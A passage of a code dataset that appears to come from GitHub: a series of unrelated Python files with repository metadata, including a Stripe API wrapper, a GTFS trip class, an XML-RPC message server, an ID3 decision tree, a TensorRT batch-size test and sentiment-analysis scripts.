result_list.append(payout_entity.__dict__)\n\n return jsonify(result_list)\n\n\n def refunds(self, context, params): \n\n stripe.api_key = context['headers']['api_key']\n\n result_list = []\n refund_list = stripe.Refund.list()['data']\n for refund_data in refund_list:\n print('====>>> refund_data', refund_data)\n refund_entity = StripeRefund(\n id = refund_data['id'],\n amount = refund_data['amount'],\n currency = refund_data['currency'],\n balance_transaction_id = refund_data['balance_transaction'],\n charge_id = refund_data['charge'],\n payment_intent_id = refund_data['payment_intent'],\n reason = refund_data['reason'],\n receipt_number = refund_data['receipt_number'],\n status = refund_data['status'],\n source_transfer_reversal = refund_data['source_transfer_reversal'],\n transfer_reversal = refund_data['transfer_reversal']\n )\n\n result_list.append(refund_entity.__dict__)\n\n return jsonify(result_list)\n \n\n def payment_intents(self, context, params):\n\n stripe.api_key = context['headers']['api_key']\n\n result_list = []\n pay_intent_list = stripe.PaymentIntent.list()['data']\n for pay_intent_data in pay_intent_list:\n pay_intent_entity = StripePaymentIntent(\n id = pay_intent_data['id'],\n amount = pay_intent_data['amount'],\n currency = pay_intent_data['currency'],\n customer_id = pay_intent_data['customer'],\n description = pay_intent_data['description'],\n payment_method = pay_intent_data['payment_method']\n )\n\n result_list.append(pay_intent_entity.__dict__)\n\n return jsonify(result_list)\n\n\n\n def webhook(self, context, params):\n stripe.api_key = context['headers']['api_key']\n\n webhook_data = stripe.WebhookEndpoint.retrieve(params['id'])\n webhook_entity = StripeWebhook(\n id=webhook_data['id'],\n enabled_event=webhook_data['enabled_events'][0],\n description=webhook_data['description'],\n created=webhook_data['created'],\n secret=webhook_data['secret'],\n status=webhook_data['status'],\n url=webhook_data['url']\n )\n \n return webhook_entity.__dict__\n\n\n\n","repo_name":"dipendrabaidawa/unified_api","sub_path":"unified/modules/main/categories/payment_processing/stripe/api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":14979,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"14230716358","text":"import numpy as np\n\ndef main():\n MAX_LENGTH: int = 20\n numbers: np.ndarray = np.zeros((MAX_LENGTH, MAX_LENGTH), dtype=int)\n\n for field_goal in range(1, MAX_LENGTH):\n numbers[field_goal, 0] = numbers[field_goal - 1, 0] + 3\n\n for touchdown in range(1, MAX_LENGTH):\n numbers[0, touchdown] = numbers[0, touchdown - 1] + 6\n\n for touchdown in range(1, MAX_LENGTH):\n prev_touchdown: int = touchdown - 1\n for field_goal in range(1, MAX_LENGTH):\n numbers[field_goal, touchdown] = numbers[field_goal, prev_touchdown] + 6\n\n print(numbers)\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"Duke02/FootballScores","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":624,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"10221532380","text":"class Trip():\n \n def __init__(self, trip_id, route_id, service_id, trip_headsign):\n self.trip_id = trip_id\n self.route_id = route_id\n self.service_id = service_id\n self.trip_headsign = trip_headsign\n \n def add_direction(self, direction):\n self.direction_id = direction\n self.opposite_direction = direction == '1'\n \n def to_dictionary(self) -> dict:\n data = {\n \"trip-id\" : int(self.trip_id),\n \"route-id\" : int(self.route_id),\n \"service-id\" : self.service_id,\n \"direction-id\" : int(self.direction_id),\n \"opposite-direction\" : self.opposite_direction,\n \"trip-headsign\" : self.trip_headsign\n }\n \n return data","repo_name":"FanniBelics/Public-transport-gtfs-processor","sub_path":"graph_elements/trip.py","file_name":"trip.py","file_ext":"py","file_size_in_byte":766,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"36365696181","text":"#! /usr/bin/env python\n#-*- coding: UTF-8 -*-\n\ntry:\n\timport sys\n\tfrom threading import Thread\n\timport base64\n\tfrom SimpleXMLRPCServer import SimpleXMLRPCServer\t\nexcept (ImportError):\n\tsys.exit(0)\n\ntry:\n\tfrom Libs.msg_py2 import Box\nexcept (ImportError):\n\tsys.exit(0)\n\nHOST, PORT = \"\", 20000\n\nclass ServerThread(Thread):\n\n\t_rpc_methods_ = ['msgBox']\n\t\n\tdef __init__(self, host):\n\t\tThread.__init__(self)\n\t\tself.server = SimpleXMLRPCServer(host, allow_none=True)\n\t\tself.server.register_multicall_functions()\n\t\tfor name in self._rpc_methods_:\n\t\t\tself.server.register_function(getattr(self,name))\n\t\t\t\n\tdef run(self):\n\t\tself.server.serve_forever()\n\t\t\n\tdef msgBox(self, msg):\n\t\tBox().show(base64.decodestring(msg))\n\ndef server(host, port):\n\taddr = (host, port)\n\tserv = ServerThread(addr)\n\tserv.start()\n\t\nif __name__ == '__main__':\n\tserver(HOST, PORT)\n","repo_name":"xuzi1987/work_diary","sub_path":"PythonMessages/MsgServer.py","file_name":"MsgServer.py","file_ext":"py","file_size_in_byte":844,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"74777911398","text":"n=int(input())\nl=list(map(int,input().split()))\ne=[]\no=[]\nfor i in range(n):\n if i%2==0:\n e.append(l[i])\n else:\n o.append(l[i])\n \ns=sum(o)-sum(e)\nif s==0:\n print('YES')\nelse:\n print('NO')","repo_name":"sowjanya003/codemind-python","sub_path":"Sum_of_odd_and_even_digits.py","file_name":"Sum_of_odd_and_even_digits.py","file_ext":"py","file_size_in_byte":220,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"34461275541","text":"#단자번호붙이기 2667\n\"\"\"https://www.acmicpc.net/problem/2667\"\"\"\n\nimport sys\n\nN = int(input())\n\nlocation_list = []\n\n#단지들을 이중리스트로 구현 &리스트 양 끝에 0 추가\nfor i in range(N):\n x = [int(x) for x in list(sys.stdin.readline().strip())]\n x.insert(0,0) # 리스트의 맨 앞에 0 추가\n x.append(0) # 리스트의 맨 뒤에 0 추가\n location_list.append(x)\n\n\n# 리스트 위와 아래도 0 추가\nt = [ 0 for _ in range(N+2)]\nlocation_list.insert(0, t) # 맨 앞에 0으로 구성된 리스트 추가\nlocation_list.append(t) # 맨 뒤에 0으로 구성된 리스트 추가\n\n# 탐색 위한 사전작업\n# 1 [[0, 0, 0, 0, 0, 0, 0, 0, 0],\n# 2 [0, 0, 1, 1, 0, 1, 0, 0, 0],\n# 3 [0, 0, 1, 1, 0, 1, 0, 1, 0],\n# 4 [0, 1, 1, 1, 0, 1, 0, 1, 0],\n# 5 [0, 0, 0, 0, 0, 1, 1, 1, 0],\n# 6 [0, 0, 1, 0, 0, 0, 0, 0, 0],\n# 7 [0, 0, 1, 1, 1, 1, 1, 0, 0],\n# 8 [0, 0, 1, 1, 1, 0, 0, 0, 0],\n# 9 [0, 0, 0, 0, 0, 0, 0, 0, 0]]\n\n#방문 표시할 이중리스트 구현\n#이중리스트 구현 원하므로 리스트 두개 준비(바깥, 안)\nvisit_list = list()\nfor i in range(N+2):\n x = list()\n for j in range(N+2):\n x.append(False) #가로 열 채우기, 굳이 j 사용하지 않아도 O\n visit_list.append(x) #채운 가로 열을 세로로 쌓기\n\ndiv_cnt_list = list()\ncnt = 1\n\n# 전체 반복문 작성\ndef DFS_All(G):\n global cnt\n for i in range(N+1):\n for j in range(N+1):\n if G[i][j] == False and location_list[i][j] == 1: # 방문하지 않은 좌표이면서 아파트가 있는 경우\n DFS(i,j) # DFS로 현재 단지 내의 아파트 수를 구함\n div_cnt_list.append(cnt) # 현재 단지의 아파트 수를 리스트에 추가\n cnt = 1 # 아파트 수 초기화\n \n# 단지 내의 아파트 수를 구하는 DFS 함수\ndef DFS(j, k):\n global cnt #함수 밖에 있는 변수를 안에서도 쓰고 싶을 때 global 사용\n visit_list[j][k] = True # 방문한 좌표를 True로 표시\n\n # 전후좌우 체크\n if location_list[j+1][k] == 1:\n if visit_list[j+1][k] == False:\n cnt += 1\n DFS(j+1, k)\n if location_list[j][k+1] == 1:\n if visit_list[j][k+1] == False:\n cnt += 1\n DFS(j, k+1)\n if location_list[j-1][k] == 1:\n if visit_list[j-1][k] == False:\n cnt += 1\n DFS(j-1, k)\n if location_list[j][k-1] == 1:\n if visit_list[j][k-1] == False:\n cnt += 1\n DFS(j, k-1)\n \n# 총 단지수와 각 단지의 아파트 수 구하기\nDFS_All(visit_list) #방문체크용 그래프 인자로 전달\n# 결과 출력\nprint(len(div_cnt_list)) # 총 단지수 출력\nfor i in sorted(div_cnt_list): # 아파트 수를 오름차순으로 정렬하여 출력\n print(i)\n","repo_name":"MinseoHwang/algorithm-coding-test","sub_path":"유민기/BFS, DFS/단자번호붙이기(2667).py","file_name":"단자번호붙이기(2667).py","file_ext":"py","file_size_in_byte":2840,"program_lang":"python","lang":"ko","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"} +{"seq_id":"5203654802","text":"import pandas as pd\nfrom sys import argv\nfrom math import log, pow\nimport numpy as np\nimport copy\n\n\nclass decisionTree():\n # Create a dictionary to hold the tree. This has to be outside the function so we can access it later.\n\n columns = ['WORKCLASS', 'EDUCATION', 'MARITAL_STATUS', 'OCCUPATION',\n 'RELATIONSHIP', 'RACE', 'SEX', 'NATIVE_COUNTRY']\n\n # Constructor\n def __init__(self, trainingFile, testFile, model):\n self.trainingFile = trainingFile\n self.testFile = testFile\n self.model = model\n\n # Load data set\n def load(self, file_name):\n names = ['WORKCLASS', 'EDUCATION', 'MARITAL_STATUS', 'OCCUPATION',\n 'RELATIONSHIP', 'RACE', 'SEX', 'NATIVE_COUNTRY', 'SALARYlEVEL']\n\n X = pd.read_csv(file_name, sep=',', quotechar='\"', header=0, engine='python')\n X.columns = names\n data = X.as_matrix()\n return data\n\n # Print a decision tree\n def print_tree(self, node, depth=0):\n if isinstance(node, dict):\n print('%s[%s == %s]' % ((depth * ' ', (node['Node']), node['Value'])))\n self.print_tree(node['Left'], depth + 1)\n self.print_tree(node['Right'], depth + 1)\n else:\n print('%s[%s]' % ((depth * ' ', node)))\n\n # Calculate accuracy percentage\n def accuracy_metric(self, actual, predicted):\n correct = 0\n\n for i in range(len(actual)):\n if actual[i] == predicted[i]:\n correct += 1\n return correct / float(len(actual)) * 100.0\n\n # Calculate entropy\n def calcEntropy(self, dataset):\n # Compute the counts of each unique value in the column.\n num_entries = len(dataset)\n label_counts = {}\n\n for feat_vec in dataset: # the the number of unique elements and their occurance\n current_label = feat_vec[-1]\n if current_label not in label_counts.keys():\n label_counts[current_label] = 0\n\n label_counts[current_label] += 1\n\n # Initialize the entropy to 0.\n entropy = 0.0\n\n # Loop through the probabilities, and add each one to the total entropy.\n for key in label_counts:\n prob = float(label_counts[key]) / num_entries\n if prob > 0.0:\n entropy += prob * log(prob, 2) # log base 2\n\n return -entropy\n\n # Split a dataset based on an attribute and an attribute value\n\n def test_split(self, index, value, dataset):\n\n left, right = list(), list()\n\n for row in dataset:\n if row[index] == value:\n left.append(row)\n else:\n right.append(row)\n return np.asarray(left), np.asarray(right)\n\n # Calculate information gain given a dataset, column to split on, and target.\n def calc_information_gain(self, data, index):\n # Calculate original entropy.\n original_entropy = self.calcEntropy(data)\n\n # Loop through the splits, and calculate the subset entropy.\n\n max_ig = 0.0\n ret_value = -1\n groups = ()\n\n for value in np.unique(data[:, index]):\n test_groups = self.test_split(index, value, data)\n to_subtract = 0.0\n\n for subset in test_groups:\n if subset.shape[0] > 0:\n prob = (float(subset.shape[0]) / float(data.shape[0]))\n to_subtract += prob * self.calcEntropy(subset)\n\n current_ig = original_entropy - to_subtract\n\n if current_ig > max_ig:\n max_ig = current_ig\n groups = test_groups\n ret_value = value\n\n # Return information gain.\n return max_ig, groups, ret_value\n\n # Select the best split point for a dataset\n def get_split(self, dataset, columns):\n b_node, b_value, b_score, b_groups = 'Nothing', 'Nothing', 0.0, None\n\n # Loop through and compute information gains.\n # for index in range(len(columns)):\n for index in range(len(columns)):\n gain, groups, value = self.calc_information_gain(dataset, index)\n if gain > b_score:\n b_node, b_value, b_score, b_groups = columns[index], value, gain, groups\n return {'Node': b_node, 'Value': b_value, 'Groups': b_groups}\n\n # Create a terminal node value\n def to_terminal(self, group):\n outcomes = [row[-1] for row in group]\n return max(set(outcomes), key=outcomes.count)\n\n def count_label(selfself, child):\n return [row[-1] for row in child]\n\n # Create child splits for a node or make terminal\n def split(self, mytree, columns, max_depth, depth):\n left, right = mytree['Groups']\n del (mytree['Groups'])\n sub_columns = columns[:]\n sub_columns.remove(mytree['Node'])\n index = columns.index(mytree['Node'])\n left = np.delete(left, index, axis=1)\n right = np.delete(right, index, axis=1)\n\n if not sub_columns:\n mytree['Left'], mytree['Right'] = self.to_terminal(left), self.to_terminal(right)\n return\n\n # check for a no split\n if not left.tolist() or not right.tolist():\n mytree['Left'] = mytree['Right'] = self.to_terminal(left + right)\n return\n\n # check for max depth\n if depth >= max_depth:\n mytree['Left'], mytree['Right'] = self.to_terminal(left), self.to_terminal(right)\n return\n\n # process left child\n label_list = self.count_label(left)\n\n if label_list.count(label_list[0]) == len(label_list):\n mytree['Left'] = self.to_terminal(left)\n else:\n mytree['Left'] = self.get_split(left, sub_columns)\n # if information gain is zero\n if mytree['Left']['Node'] == 'Nothing':\n mytree['Left'] = self.to_terminal(left)\n else:\n self.split(mytree['Left'], sub_columns, max_depth, depth + 1)\n\n # process right child\n label_list = self.count_label(right)\n\n if label_list.count(label_list[0]) == len(label_list):\n mytree['Right'] = self.to_terminal(right)\n else:\n mytree['Right'] = self.get_split(right, sub_columns)\n # if information gain is zero\n if mytree['Right']['Node'] == 'Nothing':\n mytree['Right'] = self.to_terminal(right)\n else:\n self.split(mytree['Right'], sub_columns, max_depth, depth + 1)\n\n # Build a decision tree\n def build_tree(self, train, max_depth):\n root = self.get_split(train, decisionTree.columns)\n self.split(root, decisionTree.columns, max_depth, 1)\n return root\n\n # Make a prediction with a decision tree\n def predict(self, mytree, row):\n columns = ['WORKCLASS', 'EDUCATION', 'MARITAL_STATUS', 'OCCUPATION',\n 'RELATIONSHIP', 'RACE', 'SEX', 'NATIVE_COUNTRY']\n if row[columns.index(mytree['Node'])] == mytree['Value']:\n if isinstance(mytree['Left'], dict):\n return self.predict(mytree['Left'], row)\n else:\n return mytree['Left']\n else:\n if isinstance(mytree['Right'], dict):\n return self.predict(mytree['Right'], row)\n else:\n return mytree['Right']\n\n def is_tree(self, obj):\n return (type(obj).__name__ == 'dict')\n\n def testing_major(self, major, data_test):\n error = 0.0\n for i in range(len(data_test)):\n if major != data_test[i]:\n error += 1\n # print 'major %d' %error\n return float(error)\n\n def prune(self, tree, test_data):\n # if have no test data collapse the tree\n if test_data.shape[0] == 0:\n return '>50K'\n\n left_set = []\n right_set = []\n # if the branches are not trees try to prune them\n if (self.is_tree(tree['Right']) or self.is_tree(tree['Left'])):\n left_set, right_set = self.test_split(decisionTree.columns.index(tree['Node']), tree['Value'], test_data)\n\n if self.is_tree(tree['Left']):\n tree['Left'] = self.prune(tree['Left'], left_set)\n\n if self.is_tree(tree['Right']):\n tree['Right'] = self.prune(tree['Right'], right_set)\n\n # if they are now both leafs, see if can merge them\n if not self.is_tree(tree['Left']) and not self.is_tree(tree['Right']):\n left_set, right_set = self.test_split(decisionTree.columns.index(tree['Node']), tree['Value'], test_data)\n\n if left_set.shape[0] == 0:\n left_error_sum = 0\n else:\n left_error_sum = self.testing_major(tree['Left'], left_set[:, -1])\n\n if right_set.shape[0] == 0:\n right_error_sum = 0\n else:\n right_error_sum = self.testing_major(tree['Right'], right_set[:, -1])\n\n error_no_merge = pow(left_error_sum, 2) + pow(right_error_sum, 2)\n tree_mean = self.to_terminal(test_data)\n error_merge = pow(self.testing_major(tree_mean, test_data[:, -1]), 2)\n\n if error_merge < error_no_merge:\n # print \"merging\"\n return tree_mean\n else:\n return tree\n else:\n return tree\n\nclass vanillaTree(decisionTree):\n def __init__(self, trainingFile, testFile, model, trainingPercent):\n decisionTree.__init__(self, trainingFile, testFile, model)\n self.trainingPercent = trainingPercent\n\n\nclass depthTree(decisionTree):\n def __init__(self, trainingFile, testFile, model, trainingPercent, validationPercent, maxDepth):\n decisionTree.__init__(self, trainingFile, testFile, model)\n self.trainingPercent = trainingPercent\n self.validationPercent = validationPercent\n self.maxDepth = maxDepth\n\n\nclass pruneTree(decisionTree):\n def __init__(self, trainingFile, testFile, model, trainingPercent, validationPercent):\n decisionTree.__init__(self, trainingFile, testFile, model)\n self.trainingPercent = trainingPercent\n self.validationPercent = validationPercent\n\n\n# Create a dictionary to hold the tree. This has to be outside the function so we can access it later.\ntree = {}\n# This list will let us number the nodes. It has to be a list so we can access it inside the function.\nnodes = []\n\nif __name__ == '__main__':\n\n training_file = argv[1]\n test_file = argv[2]\n model = argv[3]\n training_percent = argv[4]\n\n # Implement a binary decision tree with no pruning using the ID3 algorithm\n if model == \"vanilla\":\n vani_tree = vanillaTree(training_file, test_file, model, training_percent)\n\n train = vani_tree.load(training_file)\n subtrain = copy.deepcopy(train)\n subtrain = train[0:int(len(train) * int(training_percent) / 100), :]\n\n max_depth = float(\"inf\")\n\n tree = vani_tree.build_tree(subtrain, max_depth)\n\n # vani_tree.print_tree(tree)\n # print(tree)\n\n predictions_train = list()\n for row in subtrain:\n pd_train = vani_tree.predict(tree, row)\n predictions_train.append(pd_train)\n\n accuracy = vani_tree.accuracy_metric(subtrain[:, -1], predictions_train) / 100\n print(\"Training set accuracy: %.4f\" % accuracy)\n\n test = vani_tree.load(test_file)\n predictions_test = list()\n for row in test:\n pd_test = vani_tree.predict(tree, row)\n predictions_test.append(pd_test)\n\n accuracy = vani_tree.accuracy_metric(test[:, -1], predictions_test) / 100\n print(\"Test set accuracy: %.4f\" % accuracy)\n\n # Implement a binary decision tree with a given maximum depth\n elif model == \"depth\":\n validation_percent = argv[5]\n max_depth = int(argv[6])\n\n # Create depthTree object\n depth_tree = depthTree(training_file, test_file, model, training_percent, validation_percent, max_depth)\n\n # Read training data from file\n data_set = depth_tree.load(training_file)\n train_set = copy.deepcopy(data_set)\n validation_set = copy.deepcopy(data_set)\n\n # Prepare training data set\n train_set = data_set[0:int(len(data_set) * int(training_percent) / 100), :]\n\n # Build decision tree of max_depth\n tree = depth_tree.build_tree(train_set, max_depth)\n\n # Prepare validation data set\n validation_set = validation_set[int(len(validation_set) * (100-int(validation_percent)) / 100):, :]\n\n # Prepare test data set\n test_set = depth_tree.load(test_file)\n\n predictions_train = list()\n for row in train_set:\n pd_train = depth_tree.predict(tree, row)\n predictions_train.append(pd_train)\n\n accuracy = depth_tree.accuracy_metric(train_set[:, -1], predictions_train) / 100\n print(\"Training set accuracy: %.4f\" % accuracy)\n\n predictions_validation = list()\n for row in validation_set:\n pd_validation = depth_tree.predict(tree, row)\n predictions_validation.append(pd_validation)\n\n accuracy = depth_tree.accuracy_metric(validation_set[:, -1], predictions_validation) / 100\n print(\"Validation set accuracy: %.4f\" % accuracy)\n\n predictions_test = list()\n for row in test_set:\n pd_test = depth_tree.predict(tree, row)\n predictions_test.append(pd_test)\n\n accuracy = depth_tree.accuracy_metric(test_set[:, -1], predictions_test) / 100\n print(\"Test set accuracy: %.4f\" % accuracy)\n\n # depth_tree.print_tree(tree)\n\n # Implement a binary decision tree with post-pruning using reduced error pruning\n elif model == \"prune\":\n validation_percent = argv[5]\n\n # Create pruneTree object\n prune_tree = pruneTree(training_file, test_file, model, training_percent, validation_percent)\n\n # Read training data from file\n data_set = prune_tree.load(training_file)\n train_set = copy.deepcopy(data_set)\n validation_set = copy.deepcopy(data_set)\n\n max_depth = float(\"inf\")\n\n # Prepare training data set\n train_set = data_set[0:int(len(data_set) * int(training_percent) / 100), :]\n\n # Prepare validation data set\n validation_set = validation_set[int(len(validation_set) * (100 - int(validation_percent)) / 100):, :]\n\n # Build decision tree of max_depth\n tree = prune_tree.build_tree(train_set, max_depth)\n\n # Prepare test data set\n test_set = prune_tree.load(test_file)\n\n # Build decision tree with post-pruning using reduced error pruning\n post_prune_tree = prune_tree.prune(tree, validation_set)\n\n predictions_train = list()\n for row in train_set:\n pd_train = prune_tree.predict(post_prune_tree, row)\n predictions_train.append(pd_train)\n\n accuracy = prune_tree.accuracy_metric(train_set[:, -1], predictions_train) / 100\n print(\"Training set accuracy: %.4f\" % accuracy)\n\n predictions_test = list()\n for row in test_set:\n pd_test = prune_tree.predict(post_prune_tree, row)\n predictions_test.append(pd_test)\n\n accuracy = prune_tree.accuracy_metric(test_set[:, -1], predictions_test) / 100\n print(\"Test set accuracy: %.4f\" % accuracy)\n\n # prune_tree.print_tree(tree)\n\n else:\n print(\"Usage: python decisiontree.py ./path/to/file1.csv ./path/to/file2.csv \" \n \"model trainingPercent, validationPercent, maxDepth\")\n","repo_name":"wang2226/DecisionTree","sub_path":"decisiontree.py","file_name":"decisiontree.py","file_ext":"py","file_size_in_byte":15550,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"4000396184","text":"import unittest\n\nfrom tensorflow.core.framework import attr_value_pb2\nfrom tensorflow.python.compiler.tensorrt.test import tf_trt_integration_test_base as trt_test\nfrom tensorflow.python.framework import dtypes\nfrom tensorflow.python.framework import ops\nfrom tensorflow.python.ops import array_ops\nfrom tensorflow.python.platform import test\n\n\nclass MaxBatchSizesTestBase(trt_test.TfTrtIntegrationTestBase):\n\n @classmethod\n def setUpClass(cls):\n if cls is MaxBatchSizesTestBase:\n raise unittest.SkipTest(\n 'MaxBatchSizesTestBase defines base class for other tests.')\n super(MaxBatchSizesTestBase, cls).setUpClass()\n\n @property\n def tensor_shapes(self):\n return [[1, 512, 1, 1], [64, 2, 2, 2], [32, 4, 2, 2], [16, 8, 2, 2]]\n\n @property\n def max_batch_sizes(self):\n return [shape[0] for shape in self.tensor_shapes]\n\n def GetParams(self):\n \"\"\"Gets the build parameters for the test.\"\"\"\n return self.BuildParams(\n self.GraphFn,\n dtype=dtypes.float32,\n input_shapes=[self.tensor_shapes[0]],\n output_shapes=[self.tensor_shapes[-1]])\n\n def ShouldRunTest(self, run_params):\n # The maximum batch size for dynamic engines will be the actual batch size\n # detected at runtime. Therefore, we don't run the test with dynamic\n # engines.\n return (not run_params.dynamic_engine, 'test static engine only.')\n\n def GetMaxBatchSize(self, run_params):\n \"\"\"Returns the max_batch_size that the converter should use for tests.\"\"\"\n if run_params.dynamic_engine:\n return None\n return min(self.max_batch_sizes)\n\n def ExpectedEnginesToBuild(self, run_params):\n \"\"\"Checks that the expected engine is built.\n\n Args:\n run_params: the run parameters.\n\n Returns:\n the expected engines to build.\n\n There shall be engines generated for each maximum batch size.\n \"\"\"\n return [\n f'TRTEngineOp_{seq_id:03d}'\n for seq_id in range(len(self.max_batch_sizes))\n ]\n\n def ExpectedMaxBatchSizes(self, run_params):\n \"\"\"Checks that the expected maximum batch sizes for the generated engines.\n\n Args:\n run_params: the run parameters.\n\n Returns:\n the expected maximum batch sizes for the generated engines.\n\n There shall be engines generated for each maximum batch size.\n \"\"\"\n return self.max_batch_sizes\n\n\nclass AnnotateMaxBatchSizesTest(MaxBatchSizesTestBase):\n\n def GraphFn(self, inp):\n \"\"\"Builds a tf.Graph for the test.\"\"\"\n tensor = inp * 2.0\n tensor = array_ops.reshape(tensor, [-1] + self.tensor_shapes[1][1:])\n with ops.get_default_graph()._attr_scope({\n '_tftrt_op_max_batch_size':\n attr_value_pb2.AttrValue(i=self.max_batch_sizes[1])\n }):\n tensor = tensor + 3.0\n tensor = array_ops.reshape(tensor, [-1] + self.tensor_shapes[2][1:])\n with ops.get_default_graph()._attr_scope({\n '_tftrt_op_max_batch_size':\n attr_value_pb2.AttrValue(i=self.max_batch_sizes[2])\n }):\n tensor = tensor * 4.0\n tensor = array_ops.reshape(tensor, [-1] + self.tensor_shapes[3][1:])\n with ops.get_default_graph()._attr_scope({\n '_tftrt_op_max_batch_size':\n attr_value_pb2.AttrValue(i=self.max_batch_sizes[3])\n }):\n tensor += tensor + 5.0\n return array_ops.identity(tensor, name='output_0')\n\n\nclass StaticBatchSizeTest(MaxBatchSizesTestBase):\n\n def GraphFn(self, inp):\n \"\"\"Builds a tf.Graph for the test.\"\"\"\n tensor = inp * 2.0\n tensor = array_ops.reshape(tensor, self.tensor_shapes[1])\n tensor = tensor + 3.0\n tensor = array_ops.reshape(tensor, self.tensor_shapes[2])\n tensor = tensor * 4.0\n tensor = array_ops.reshape(tensor, self.tensor_shapes[3])\n tensor += tensor + 5.0\n return array_ops.identity(tensor, name='output_0')\n\n\nif __name__ == '__main__':\n test.main()\n","repo_name":"tensorflow/tensorflow","sub_path":"tensorflow/python/compiler/tensorrt/test/annotate_max_batch_sizes_test.py","file_name":"annotate_max_batch_sizes_test.py","file_ext":"py","file_size_in_byte":3810,"program_lang":"python","lang":"en","doc_type":"code","stars":178918,"dataset":"github-code","pt":"18"} +{"seq_id":"16518176687","text":"from typing import List, Mapping\n\nfrom fastapi import APIRouter, Depends\n\nfrom apps.api.main_app import exceptions\n\nfrom ..cases import notifications\nfrom ..depends import auth as depends\nfrom ..depends.container import container_resolve\nfrom ..services import auth\n\nrouter = APIRouter()\naccess_token_dependency = Depends(depends.access_token_payload)\n\n\n@router.get(\n \"/notifications\",\n summary=\"Получение уведомлений\",\n responses=exceptions.exception_schema(\n [\n exceptions.AuthorizationError,\n exceptions.DatabaseRequestError,\n ]\n ),\n)\nasync def download(\n token: auth.AccessTokenPayload = access_token_dependency,\n case: notifications.GetNotificationsCase = Depends(container_resolve(notifications.GetNotificationsCase)),\n) -> List[Mapping]:\n return await case(user_id=token.sub.hex)\n","repo_name":"pavivin/fastapi-di","sub_path":"src/apps/api/main_app/v1/endpoints/notifications.py","file_name":"notifications.py","file_ext":"py","file_size_in_byte":864,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"22703274786","text":"from __future__ import print_function\nfrom nltk.tokenize import sent_tokenize,word_tokenize\nfrom nltk.corpus import stopwords\nfrom nltk.stem import PorterStemmer\nfrom nltk.stem import WordNetLemmatizer\nfrom collections import Counter\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom textblob import TextBlob\nfrom nltk.sentiment.vader import SentimentIntensityAnalyzer\nimport nltk\nimport pos\ndef Decision_take(data):\n\tNegocount=0\n\tAcccount=0\n\tnego=[]\n\tposi=[]\n\tnegotiation=open(\"words/negative.txt\",\"r\")\n\taccepted=open(\"words/positive.txt\",\"r\")\n\tReadLinenego=negotiation.readlines()\n\tReadLineAcc=accepted.readlines()\n\t\n\tfor i in ReadLinenego:\n\t\tnego.append(i[:-1])\n\tfor i in ReadLineAcc:\n\t\tposi.append(i[:-1])\n\tfor i in data:\n\t\tif i in nego:\n\t\t\tNegocount=Negocount+1\n\t\tif i in posi:\n\t\t\tAcccount=Acccount+1\n\tx=['Acceptance','Negotation/decline']\n\ty=[Acccount,Negocount]\n\tx_pos = [i for i, _ in enumerate(x)]\n\tplt.xlabel(\"Success Rate\")\n\tplt.ylabel(\"Count Frequency\")\n\tplt.bar(x_pos, y, color='green')\n\tplt.xticks(x_pos, x)\n\tplt.show()\n\treturn Acccount,Negocount\n\t\t\t\n\t\t\ndef SentenceBasedAnalysis(datatext):\n\tSent_tokens=sent_tokenize(datatext)\n\tsid = SentimentIntensityAnalyzer()\n\tnegcount=0\n\tposicount=0\n\tneucount=0\n\tcount=0;\n\ttemp=0\n\tfor sentence in Sent_tokens:\n\t\t #print(sentence)\n\t\t temp=temp+1\n\t\t ss = sid.polarity_scores(sentence)\n\t\t for k in ss:\n\t\t\t\t#count=count+1\n\t\t\t\tif k==\"neg\":\n\t\t\t\t\tnegcount=negcount+(ss[k])\n\t\t\t\telif k==\"neu\":\n\t\t\t\t\tneucount=neucount+(ss[k])\n\t\t\t\telif k==\"pos\":\n\t\t\t\t\tposicount=posicount+(ss[k])\n\t\t\t\tprint('{0}: {1}, '.format(k, ss[k]), end='')\n\t\t print()\n\treturn (negcount/temp),(posicount/temp),(neucount/temp)\ndef SenTextBlob(datatext):\n\tsent=sent_tokenize(datatext)\n\tsentimentvalue=[]\n\ttemp=0\n\tfor i in sent:\n\t\t#print(i);\n\t\ttemp=temp+1\n\t\tanalysis=TextBlob(i)\n\t\tsentemp=analysis.sentiment.polarity\n\t\tif(sentemp>0):\n\t\t\t#print(\"positive\")\n\t\t\tsentimentvalue.append(\"positive\")\n\t\tif(sentemp==0):\n\t\t\t#print(\"neutral\")\n\t\t\tsentimentvalue.append(\"neutral\")\n\t\telse:\n\t\t\t#print(\"negative\")\n\t\t\tsentimentvalue.append(\"negative\")\n\t\t\n\t#print(sentimentvalue)\n\tposicount=sentimentvalue.count(\"positive\")\n\tnegcount=sentimentvalue.count(\"negative\")\n\tneucount=sentimentvalue.count(\"neutral\")\n\tresult={'positive':posicount,'negative':negcount,'neutral':neucount}\n\tlabels,values=zip(*result.items())\n\t# sort your values in descending order\n\tindSort = np.argsort(values)[::-1]\n\n\t# rearrange your data\n\tlabels = np.array(labels)[indSort]\n\tvalues = np.array(values)[indSort]\n\n\tindexes = np.arange(len(labels))\n\n\tbar_width = 0.35\n\n\tplt.bar(indexes, values)\n\t# add labels\n\tplt.xticks(indexes + bar_width, labels)\n\tplt.show()\n\treturn posicount,negcount,neucount,temp\ndef AdjectivePolarity(sample):\n\tadjpol=[]\n\tsam=word_tokenize(sample)\n\ttags=nltk.pos_tag(sam)\n\tTagValue=['RB','RBR','RBS','JJS','JJ','JJR']\n\tfor i in tags:\n\t\tif i[1] in TagValue:\n\t\t\tprint(i)\n\t\t\tanalysis=TextBlob(i[0])\n\t\t\tsentemp=analysis.sentiment.polarity\n\t\t\t#print(sentemp)\n\t\t\tif sentemp>0:\n\t\t\t\tadjpol.append(\"positive\")\n\t\t\telif 